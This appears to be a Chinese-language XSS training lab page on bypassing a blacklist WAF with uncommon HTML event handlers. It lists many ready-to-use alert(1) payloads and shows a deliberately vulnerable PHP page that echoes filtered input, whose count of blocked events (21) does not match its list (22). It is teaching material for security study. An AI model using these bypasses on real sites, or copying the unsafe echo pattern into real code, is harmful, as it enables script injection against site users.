◈ 渗透任务
WAF 事件处理器绕过测试
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
CloudDash 监控面板 (monitor.clouddash.example.com)
委托方
CloudDash 部署了事件处理器黑名单 WAF,过滤了 onclick/onload/onerror 等常见事件
任务目标
找到 WAF 黑名单遗漏的冷门事件处理器,绕过过滤执行 JS
- 找到至少一个未被过滤的事件处理器
- 成功触发 alert(1)
📖 教程:冷门事件处理器
事件处理器全景
HTML 元素可以响应数百种事件。WAF 黑名单通常只覆盖最常用的 ~20 种,但遗漏了大量可用的事件。
关键分类:
- 用户交互类:onclick, onmouseover, onfocus 等(常见,通常被过滤)
- 自动触发类:onload, onerror, onanimationstart 等(无需用户操作)
- 生命周期类:ontransitionend, onanimationend, ontoggle 等
自动触发的冷门事件
以下事件无需用户交互即可触发,是 XSS 利用的首选:
onanimationstart / onanimationend
<!-- 需要配合 CSS 动画 -->
<style>@keyframes x{}</style>
<div style="animation:x" onanimationstart="alert(1)">
<!-- 动画结束时触发 -->
<div style="animation:x" onanimationend="alert(1)">
ontoggle
<!-- details 元素打开时触发 -->
<details open ontoggle="alert(1)">
<summary>Click me</summary>
</details>
onstart / onfinish (marquee)
<marquee onstart="alert(1)">XSS</marquee>
<marquee onfinish="alert(1)">XSS</marquee>
ontransitionend
<style>
.x { transition: all 0s; }
</style>
<div class="x" style="opacity:0" ontransitionend="alert(1)"></div>
需要用户交互的冷门事件
以下事件虽然需要用户操作,但通常不在 WAF 黑名单中:
onmouseenter / onmouseleave
<div onmouseenter="alert(1)">鼠标悬停触发</div>
<div onmouseleave="alert(1)">鼠标离开触发</div>
onfocusin / onfocusout
<input onfocusin="alert(1)" autofocus>
<input onfocusout="alert(1)">
ondragstart / ondragend
<div draggable="true" ondragstart="alert(1)">拖动我</div>
其他冷门事件
<!-- 滚动相关 -->
<div onwheel="alert(1)">滚轮事件</div>
<!-- 复制粘贴 -->
<input onbeforecopy="alert(1)" value="复制我">
<input onpaste="alert(1)">
<!-- 打印相关 -->
<body onafterprint="alert(1)">
<!-- hash 变化 -->
<body onhashchange="alert(1)">
<!-- 消息传递 -->
<body onmessage="alert(1)">
事件触发条件速查表
| 事件 | 触发条件 | 自动? |
|---|---|---|
onanimationstart |
CSS 动画开始 | 是 |
onanimationend |
CSS 动画结束 | 是 |
ontoggle |
details 元素打开 | 是 (open属性) |
onstart |
marquee 开始滚动 | 是 |
ontransitionend |
CSS 过渡完成 | 是 |
onmouseenter |
鼠标进入 | 否 |
onfocusin |
元素获得焦点 | 否 (autofocus) |
ondragstart |
开始拖动 | 否 |
🎯 练习:绕过事件处理器过滤
目标:WAF 过滤了 21 种常见事件处理器(onclick, onerror, onload 等)。
请找到未被过滤的事件处理器,注入
alert(1)。
在上方输入框中输入 payload,点击"提交"查看 WAF 处理结果...
📄 查看漏洞源码 (PHP)
<?php
$input = $_GET['input'];
// WAF: 基于黑名单过滤常见事件处理器
$blocked_events = [
'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
'onmouseover', 'onmouseout', 'onmousemove',
'onkeydown', 'onkeyup', 'onkeypress',
'onfocus', 'onblur', 'onchange', 'onsubmit', 'onreset',
'onselect', 'onload', 'onerror', 'onunload',
'onresize', 'onscroll', 'oncontextmenu',
];
// 构建正则:匹配任意被阻止的事件
$pattern = "/(" . implode("|", $blocked_events) . ")/i";
$input = preg_replace($pattern, "[BLOCKED]", $input);
echo $input;
?>
🔒 过滤状态:
WAF 使用黑名单过滤以下事件处理器(共 21 种):
onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmouseout, onmousemove, onkeydown, onkeyup, onkeypress, onfocus, onblur, onchange, onsubmit, onreset, onselect, onload, onerror, onunload, onresize, onscroll, oncontextmenu
提示:HTML 规范中有数百种事件处理器,黑名单不可能穷举。